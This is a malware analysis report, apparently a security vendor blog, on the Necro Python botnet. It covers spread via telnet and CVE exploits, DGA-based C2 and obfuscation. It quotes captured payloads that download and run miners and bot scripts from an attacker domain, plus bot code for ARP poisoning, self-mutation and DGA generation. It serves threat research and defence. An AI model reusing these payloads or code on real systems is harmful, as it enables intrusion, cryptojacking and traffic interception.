Necro is a classic family of botnet written in Python that was first discovered in 2015, at the beginning, it targeted Windows systems and often tagged by security vendors as Python.IRCBot and called N3Cr0m0rPh (Necromorph) by the author himself.
Since January 1, 2021, 360Netlab's BoTMon system has continued to detect new variants of the family, with three versions of the sample being detected, and the latest version using DGA to generate C2 domains against detection. All the 3 versions target Linux devices.
The key points of this blog are as follows.
- In terms of propagation methods, Necro supports multiple methods and continues to integrate new publicly available 1-day vulnerabilities with a high attack capability.
- The latest version uses the DGA technique to generate C2 domain names and the Python scripts are also heavily obfuscated to combat static analysis.
- The latest 2 versions distribute Python programs together with ELF programs packaged with PyInstaller at the same time in order to ensure that they can be executed on victim machines that do not have Python2.
- We suspect same actor behind all three versions.
Our Anglerfish honeypot system captured two propagation methods: one uses traditional telnet weak password and the other one utilizes an 1-day vulnerability (CVE-2020-35665). The following is a hit record from our honeypot.
The following is the payload being used for weak telnet password.
root password enable system shell sh echo -e '\x41\x4b\x34\x37' wget http://aspjobjreorejborer.com/mirai.armexport ARGS="-o aveixucyimxwcmph.xyz:9050"; LINE="killall -9 .sshd||pkill -9 .sshd_; [ ! -f /tmp/.pidfile ] && echo > /tmp/.pidfile; nohup .sshd $ARGS > /dev/null||nohup .sshd_ $ARGS > /dev/null &"; grep -q "$LINE" ~/.bashrc||echo "$LINE" >> ~/.bashrc; curl http://aveixucyimxwcmph.xyz/xmrig1 -O||wget http://aveixucyimxwcmph.xyz/xmrig1 -O .sshd_; mv -f .sshd_ .sshd_; chmod 777 .sshd_; curl http://aveixucyimxwcmph.xyz/xmrig -O xmrig||wget http://aveixucyimxwcmph.xyz/xmrig -O xmrig; mv -f xmrig .sshd; chmod 777 .sshd; chmod +x ~/.bashrc; ~/.bashrc; cd /tmp||php -r "file_put_contents(".benchmark", file_get_contents("http://aveixucyimxwcmph.xyz/.benchmark"));"; curl http://aveixucyimxwcmph.xyz/.benchmark -O; curl http://aveixucyimxwcmph.xyz/.benchmark.py -O; php -r "file_put_contents(".benchmark.py", file_get_contents("http://aveixucyimxwcmph.xyz/.benchmark.py"));"; wget http://aveixucyimxwcmph.xyz/.benchmark -O .benchmark; wget http://aveixucyimxwcmph.xyz/.benchmark.py -O .benchmark.py; chmod 777 .benchmark.py; chmod 777 .benchmark; python .benchmark.py||python2 .benchmark.py||python2.7 .benchmark.py||./.benchmark||./.benchmark.py &
The following is the payload when exploiting the 1-day vulnerability CVE-2020-35665.
GET /include/makecvs.php?Event=`export ARGS="-o aveixucyimxwcmph.xyz:9050" LINE="killall -9 .sshd||pkill -9 .sshd_ [ ! -f /tmp/.pidfile ] && echo > /tmp/.pidfile nohup .sshd $ARGS > /dev/null||nohup .sshd_ $ARGS > /dev/null &" grep -q "$LINE" ~/.bashrc||echo "$LINE" >> ~/.bashrc curl http://aveixucyimxwcmph.xyz/xmrig1 -O||wget http://aveixucyimxwcmph.xyz/xmrig1 -O .sshd_ mv -f .sshd_ .sshd_ chmod 777 .sshd_ curl http://aveixucyimxwcmph.xyz/xmrig -O xmrig||wget http://aveixucyimxwcmph.xyz/xmrig -O xmrig mv -f xmrig .sshd chmod 777 .sshd chmod +x ~/.bashrc ~/.bashrc cd /tmp||php -r "file_put_contents(\".benchmark\", file_get_contents(\"http://aveixucyimxwcmph.xyz/.benchmark\"));" curl http://aveixucyimxwcmph.xyz/.benchmark -O curl http://aveixucyimxwcmph.xyz/.benchmark.py -O php -r "file_put_contents(\".benchmark.py\", file_get_contents(\"http://aveixucyimxwcmph.xyz/.benchmark.py\"));" wget http://aveixucyimxwcmph.xyz/.benchmark -O .benchmark wget http://aveixucyimxwcmph.xyz/.benchmark.py -O .benchmark.py
As you can see from the payload above, in addition to downloading and executing the original Python script (.benchmark.py), exp will also attempt to download and execute the PyInstaller-packaged ELF file (.benchmark), a tactic introduced by the authors since version 2 to improve the execution success rate. Because Python 2 has reached EOL (end-of-life), some victim machines lack this runtime environment, and Python programs packaged with PyInstaller will become standalone ELFs that can be executed normally even without a Python environment on the target machine.
It is worth noting that vulnerability CVE-2020-35665 was made public on December 23, 2020, only 8 days after we first caught its exploitation, which shows that the authors are very "active" in the use of the new vulnerability.
In addition to the Necro sample, the above exp will also download the mining program xmrig and xmrig1.
When looking up the C2 in our database, we found that the same download server has also been used for the download of mirai and some Windows malicious exe programs, indicating that the authors of Necro are operating multiple families of botnet at the same time.
Tapping in our DNSMon passivedns data, we can see the statistics of the two C2 domains used in version 2 and 3. Right now both counts are in 2 digits. But keep in mind that our pdns represents only a small subset of the global dns traffic, and based on past experiences, we won’t be surprised if the actual infected hosts is a much much bigger number.
Here are the resolution statistics of version 2 C2 domain, we can see that the count of this domain name has passed the stable period and is in a declining state.
Below are the resolution statistics for version 3 domains. You can see that the resolution volume is rising, which means this version is active.
Through the analysis, we found that the Necro samples captured in 2021 can be divided into 3 versions, and there are significant differences between each version in terms of propagation method, code obfuscation and C2 schema, where version 1 (necr0.py) to version 2 (out.py) are mainly code structure adjustments with an increase in obfuscation. From version 2 to version 3, the difference has increased, not only the code obfuscation has increased significantly, but also C2 has changed from hardcoded domain names to using the DGA. In addition, some n-day vulnerabilities have been added to version 3 in terms of propagation methods.
Because version 1 was named necro.py by the author, we named the family Necro. In terms of code obfuscation, version 1 only partially obfuscates the code.
Its C2 information is simply encoded and stored, and after several inverse decodes can be easily obtained as follows.
irc server: '126.96.36.199' channel: '#necro' key: 'm0rph'
Readable DDoS attack-related command strings can be found in the original sample.
From these command strings we can see that Necro is a botnet for DDoS attacks, C2 protocol based on IRC, supports attacks including both the common udpflood, synflood, slowloris, httpflood these, but also an uncommon method of amp attack.
Version 2 (out.py) is comparable to version 1 in terms of obfuscation, but there is a change in vulnerability exploitation to include the Zend Framework (known as CVE-2021-3007).
It is worth noting that the vulnerability was only revealed on January 4, 2021, which again shows that the authors of Necro were very "aggressive" in exploiting the new vulnerability.
In terms of C2 storage, version 2 is same as version 1.
irc server: 'gxbrowser.net' channel: '#update' key: 'N3Wm3W'
Version 3's were detected to be propagated with benchmark.py names. Compared to the first two versions, the biggest change in version 3 is the use of DGA to generate C2 domain names, the specific algorithm refer to the DGA code behind, the following is a simulation of the algorithm to generate part of the domain name:
avEiXUcYimXwcMph.xyz avEiXUcYimXwcMph.xyz avEiXUcYimXwcMph.xyz aoRmVwOaTOGgYqbk.xyz aoRmVwOaTOGgYqbk.xyz aoRmVwOaTOGgYqbk.xyz MasEdcNVYwedJwVd.xyz MasEdcNVYwedJwVd.xyz MasEdcNVYwedJwVd.xyz suBYdZaoqwveKRlQ.xyz ...
Through our own Passive DNS system(link https://passivedns.cn), we see that the 1st domain name aveixucyimxwcmph.xyz generated by this DGA algorithm is enabled and is also used as the domain name of the download server.
2021-01-11 11:49:28 2021-01-20 03:47:28 372 aveixucyimxwcmph.xyz A 188.8.131.52 2021-01-11 20:11:02 2021-01-11 20:11:03 2 aveixucyimxwcmph.xyz TXT "v=spf1 include:spf.efwd.registrar-servers.com ~all" 2021-01-11 20:11:01 2021-01-11 20:11:03 3 aveixucyimxwcmph.xyz MX eforward4.registrar-servers.com 2021-01-11 20:11:01 2021-01-11 20:11:03 3 aveixucyimxwcmph.xyz MX eforward5.registrar-servers.com 2021-01-11 20:11:01 2021-01-11 20:11:03 3 aveixucyimxwcmph.xyz MX eforward2.registrar-servers.com 2021-01-11 20:11:01 2021-01-11 20:11:03 3 aveixucyimxwcmph.xyz MX eforward1.registrar-servers.com 2021-01-11 20:11:01 2021-01-11 20:11:03 3 aveixucyimxwcmph.xyz MX eforward3.registrar-servers.com
On January 20, 2021, in the latest version 3 sample the authors made another change to the DGA algorithm, modifying the seeds from 3 to 4096, and also started using SSL to encrypt the communication data.
Another change in version 3 is that the code has been obfuscated more severely. Not only have all custom objects been replaced with random characters, but even the strings have been encoded in this way with base64.encode(zlib.compress(plain_string)), resulting in samples that no longer have readable, meaningful strings, as shown in the following figure.
In terms of propagation methods, version 3 adds more vulnerability exploits, which can be seen in the decoded strings as follows.
There is no change in the supported DDoS attack methods in version 3, only the command string is encoded, and the decoded DDoS command string is as follows.
We can see that Necro was developed as early as 2015 and is called N3Cr0m0rPh (Necromorph) by the authors.
We were able to correlate a batch of early Necro samples for Windows from the sample library, all exe files, which also happened to date back to 2015, matching the version information in version 1. From these clues, we can tell that Necro first targeted the Windows platform, and then perhaps the natural cross-platform characteristics of Python programs, or the existence of a large number of vulnerabilities in the existing network of Linux machines (IoT devices, cloud servers, etc.), which inspired the Necro authors to move on to Linux devices.
Since some of the Necro samples are distributed as PyInstaller packages, here is a brief description of how to restore a readable .py script by means of unpacking, decompiling, and unobfuscating.
Take version 3 as an example, after unpacking the pydata data extracted from the ELF samples with the open source tool pyinstxtractor, you can get the .so dynamic library, python library and bytecode file .benchmark.pyc that the original python script depends on.
By decompiling .pyc bytecode with uncompyle6, we can get the final python script. By comparing the python script .benchmark.py from the same downloader, we find that it is the same as the decompiled .py script, so we conclude that .benchmark.py is the original script before packaging.
Necro uses a simple zip compression with an alias algorithm to encrypt the string, take the following code as an example, first decompress and then alias to get the decrypted string value ‘184.108.40.206'
xor_crypt(zlib.decompress(b'\x78\x9c\xab\xac\x8d\x72\xf7\xca\x96\x06\x00\x0a\xf1\x02\x68')) def xor_crypt(s): xor_key = [65, 83, 98, 105, 114, 69, 35, 64, 115, 103, 71, 103, 98, 52] return ('').join([ chr(ord(c) ^ xor_key[(i % len(xor_key))]) for i, c in enumerate(s) ])
The python script will first call the repack() function after it starts to deform the current file. The deformation algorithm is to take an object name (possibly a class, variable name, function name) from the obj_name_list table (which holds the custom object names in the file) in turn, then generate an 8-bit random string, and replace the corresponding object name in the file with this 8-bit random string. The result is that no more readable object names can be found in the original file. Because this practice is irreversible, we can only speculate on the meaning of each function and variable from the code function, referring to earlier versions of the code, we basically figured out the code function.
def __init__(self): ... self.repack() #repack bot before we install self.install() #Install def repack(self): try: fh_myself=open(argv,"r") _pyload=fh_myself.read() fh_myself.close() obj_name_list=['localhost_irc','gen_random_8char'....] for obj_name in obj_name_list: _pyload=_pyload.replace(obj_name,self.gen_random_8char(8)) new_fh_myself=open(argv,"w") new_fh_myself.write(_pyload) new_fh_myself.close() except: pass
- ARP Spoofing and Traffic Sniffing
Necro also supports ARP spoofing and network traffic sniffing. ARP spoofing is designed to disguise the victim machine as a gateway, the code is shown below.
def create_pkt_arp_poison(): s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.SOCK_RAW) s.bind(("wlan0", 0)) while(1): for lmfao in getPoisonIPs(): src_addr = get_src_mac() dst_addr = lmfao src_ip_addr = get_default_gateway_linux() dst_ip_addr = lmfao dst_mac_addr = "\x00\x00\x00\x00\x00\x00" payload = "\x00\x01\x08\x00\x06\x04\x00\x02" checksum = "\x00\x00\x00\x00" ethertype = "\x08\x06" s.send(dst_addr + src_addr + ethertype + payload+src_addr + src_ip_addr + dst_mac_addr + dst_ip_addr + checksum) time.sleep(2)
The buggy code executes in a separate thread, reading /proc/net/arp every 2 seconds to get the latest ARP neighbors, and then sending them ARP responses pretending to be the gateway, with the goal of making the other party believe that the machine it is running on is the gateway. The author may have done this to achieve man-in-the-middle hijacking, but we have not seen any more code related to man-in-the-middle communication yet, so the feature is probably still under development.
The sample will start a sniffing thread when it starts. Sniffing mainly targets the TCP traffic of the victim machine, which is controlled by the C2 directive (.sniffer-resume). Once enabled, all TCP traffic not from the following ports will be logged and reported to C2's port 1337: "1337, 6667, 23, 443, 37215, 53, 22".
The sample will start a sniffing process when it starts, and report all the traffic of interest in the intranet to port 1337 of the cc server.
Starting from the download server domain aveixucyimxwcmph.xyz, we expand more information about the IoC through our graph system and sucessfully linked all c2s from the three different versions.
Among them, the C2 domain gxbrowser.net in version 2 has also resolved to C2 220.127.116.11 in version 1, and the IP 18.104.22.168 resolved by the C2 domain aveixucyimxwcmph.xyz in version 3 has also been used by gxbrowser.net, which means that the authors behind the current 3 versions of Necro botnet are very likely same person
All the Necro related domains have been blocked by our DNSmon system.
Readers are always welcomed to reach us on twitter or email us to netlab at 360 dot cn.
22.214.171.124 126.96.36.199 gxbrowser.net aveixucyimxwcmph.xyz
# Version 1 http://188.8.131.52/necr0.py # Version 2 http://gxbrowser.net/out http://gxbrowser.net/out.py # Version 3 http://aveixucyimxwcmph.xyz/.benchmark http://aveixucyimxwcmph.xyz/.benchmark.py # Others http://gxbrowser.net/xmrig http://gxbrowser.net/xmrig1 http://aveixucyimxwcmph.xyz/xmrig1 http://184.108.40.206/bins/nginx.html/keksec.x86 http://220.127.116.11/bins/nginx.html/keksec.spc http://18.104.22.168/bins/nginx.html/keksec.sh4 http://22.214.171.124/bins/nginx.html/keksec.ppc http://126.96.36.199/bins/nginx.html/keksec.mpsl http://188.8.131.52/bins/nginx.html/keksec.mips http://184.108.40.206/bins/nginx.html/keksec.m68k http://220.127.116.11/bins/nginx.html/keksec.i586 http://18.104.22.168/bins/nginx.html/keksec.arm http://22.214.171.124/bins/nginx.html/keksec.arm7 http://126.96.36.199/bins/nginx.html/keksec.arm5 http://188.8.131.52/bins/keksec.x88_64 http://184.108.40.206/bins/keksec.x86 http://220.127.116.11/bins/keksec.x64 http://18.104.22.168/bins/keksec.spc http://22.214.171.124/bins/keksec.sh4 http://126.96.36.199/bins/keksec.ppc http://188.8.131.52/bins/keksec.mpsl http://184.108.40.206/bins/keksec.mips http://220.127.116.11/bins/keksec.mips64 http://18.104.22.168/bins/keksec.m68k http://22.214.171.124/bins/keksec.i586 http://126.96.36.199/bins/keksec.arm http://188.8.131.52/bins/keksec.arm7 http://184.108.40.206/bins/keksec.arm5 http://220.127.116.11/update.sh
import random def gen_random_str(_range): return ('').join(random.choice('abcdefghijklmnopqoasadihcouvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for _ in range(_range)) def gen_cc(time): random.seed(a=5236442 + time) return gen_random_str(16) + '.xyz' def gen_DGA(): i = 0 while 1: for _ in range(3): try: print(gen_cc(i)) except: pass if i >= 2048: i = 0 i += 1 gen_DGA()
self.irc_server=b64decode(b64decode("34653437353533303465343435353331346537613535333035613434353533303465353434353761346435343532366134653664343533303465353434643330346534373535333134643761346433303465376136623330356134343561363834653664343937613561343133643364".decode('hex').decode('hex')).decode('hex')) #Encoded irc server self.server_port=6667 #Server port self.channel=b64decode(b64decode("346534343662376134643661346433313465366434643331346635343464376134653437343533333465363733643364".decode('hex').decode('hex')).decode('hex')) #Encoded channel self.channel_key==b64decode(b64decode("346536613439333134653434353137393465376136623332346437613531333334653661363337613561343133643364".decode('hex').decode('hex')).decode('hex')) #Encoded channel key